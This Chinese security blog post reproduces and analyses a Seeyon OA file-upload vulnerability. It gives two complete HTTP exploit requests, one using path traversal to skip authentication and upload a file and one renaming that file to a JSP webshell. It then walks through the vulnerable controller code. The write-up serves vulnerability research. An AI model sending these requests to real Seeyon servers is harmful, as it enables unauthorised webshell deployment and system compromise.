长亭百川云 - 文章详情

最新致远OA文件上传漏洞深度分析与扩展

Ting丶

18

2024-08-14

加微信即可加入WingBy交流群 (不存在娱乐化) 一个可以交流CTF、WEB、内网、免杀、红队、蓝队、java/php代码审计、逆向、云安全、CNVD、证书挖掘的交流群..........

漏洞复现

首先复现一下漏洞

1POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?method=processUpload HTTP/1.1
2Host: 
3Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
4Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100
6Content-Length: 3502
7
8------WebKitFormBoundary7MA4YWxkTrZu0gW
9Content-Disposition: form-data; name="type"
10
11
12------WebKitFormBoundary7MA4YWxkTrZu0gW
13Content-Disposition: form-data; name="extensions"
14
15png
16------WebKitFormBoundary7MA4YWxkTrZu0gW
17Content-Disposition: form-data; name="applicationCategory"
18
19
20------WebKitFormBoundary7MA4YWxkTrZu0gW
21Content-Disposition: form-data; name="destDirectory"
22
23
24------WebKitFormBoundary7MA4YWxkTrZu0gW
25Content-Disposition: form-data; name="destFilename"
26
27
28------WebKitFormBoundary7MA4YWxkTrZu0gW
29Content-Disposition: form-data; name="maxSize"
30
31
32------WebKitFormBoundary7MA4YWxkTrZu0gW
33Content-Disposition: form-data; name="isEncrypt"
34
35false
36------WebKitFormBoundary7MA4YWxkTrZu0gW
37Content-Disposition: form-data; name="file1"; filename="1.png"
38Content-Type: Content-Type: application/pdf
39
40
41webshell
42------WebKitFormBoundary7MA4YWxkTrZu0gW--

1POST /seeyon/autoinstall.do/../../seeyon/privilege/menu.do HTTP/1.1
2Host: 
3Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
4Content-type: application/x-www-form-urlencoded
5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100
6Content-Length: 65
7
8method=uploadMenuIcon&fileid=-2**********&filename=bb.jsp

最终访问 /seeyon/main/menuIcon/shell.jsp  即可

代码分析

为什么两个请求都要用到目录穿越?

这里表示用于所有以 /autoinstall.do 开头的请求。

<not_need_logon>标签,顾名思义就说不需要登录。

所以做目录穿越的时候都是使用的/seeyon/autoinstall.do

试试其他的可不可以呢 首先不目录穿越是这样的

而使用了genericController.do是这样的

这和autoinstall.do是一模一样的

所以不止是autoinstall.do可以。

那么这里为啥要用目录穿越了,了解java权限绕过的师傅们应该知道。在filter处理时,逻辑是只要是autoinstall.do开头的就不需要登录,那么payload中/seeyon/autoinstall.do/../../seeyon/privilege/menu.do是autoinstall.do开头,所以满足条件任务不需要登录也可访问(/seeyon是bashurl)。

所以两个请求都用到目录穿越是为了绕过鉴权验证,达到未授权的效果。

分析两次请求

分析第一个请求 在配置文件中找到处理fileupload.do的类是FileUploadController类

这样就定位到了处理fileupload.do对应的控制器了

先看代码首位

1ModelAndView modelAndView = new ModelAndView("ctp/common/fileUpload/upload");
2...................
3................................
4...................
5return modelAndView;

分别是创建了一个视图,试图的路径是ctp/common/fileUpload/upload.jsp,也就是文件上传时候那个jsp  如图位置

在控制器中,这里 进行了文件上传处理 前面都是一些其他逻辑处理 跟进去看看

发现改接口有一个实现类

实现类调用了uploadFiles函数

这里才是真正的处理实现

对于后缀的判断处理代码如下  可以看到判断后缀还是毕竟严格 是将jsp当作了黑名单  所以第一个请求仅仅是上传了一个png

竟然只是将jsp列入了黑名单,那是不是可以上传html打xss呢  

试试看 还真是上传成功了 所以确实只是不能上传jsp,其他都可以正常上传的

文件上传看完了,再来看看关键的第二次请求。可以看到第二次请求是对之前上传的文件进行名称修改,让它变成webshell

第二请求是menu.do 对于处理的控制器如图是MenuController

控制器中有一个  method=uploadMenuIcon

复制关键代码方便查看

1File file = fileManager.getFile(Long.valueOf(Long.parseLong(request.getParameter("fileid"))), new Date());
2        String filePath = (new StringBuilder(String.valueOf(AppContext.getSystemProperty("ApplicationRoot")))).append(File.separator).append("main").append(File.separator).append("menuIcon").append(File.separator).toString();
3        File rootDirectory = new File(filePath);
4        if(!rootDirectory.exists())
5            rootDirectory.mkdirs();
6        String fielName = request.getParameter("filename");
7        File fileNew = new File((new StringBuilder(String.valueOf(filePath))).append(fielName).toString());
8        if(!fileNew.exists())
9            fileNew.createNewFile();
10        java.io.InputStream in = new FileInputStream(file);
11        java.io.OutputStream out = new FileOutputStream(fileNew);

可以看到根据fileid获取file,然后filepath是文件落地的路径,通过拼接发现最终落地的位置是/main/menuIcon加上/seeyon也就是/seeyon/main/menuIcon,而创建的文件的名字是filename,是没有进行任何过滤的,所以可以是jsp后缀文件。

关键就说这个fileid,我们回想一下第一个请求的代码中是不是也有个fileid

然后在processupload中有这段代码

att是一个Attachment对象 看看这个对象长啥样

可以看到有fileUrl = file.getId(); 这个getId其实就说获取fileid也就是前面那个uuid,在jsp中也就是fileurl

所以第二个请求中的fileid,其实就是第一个请求中返回的fileUrl

这里这个漏洞所有的地方就分析结束了

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2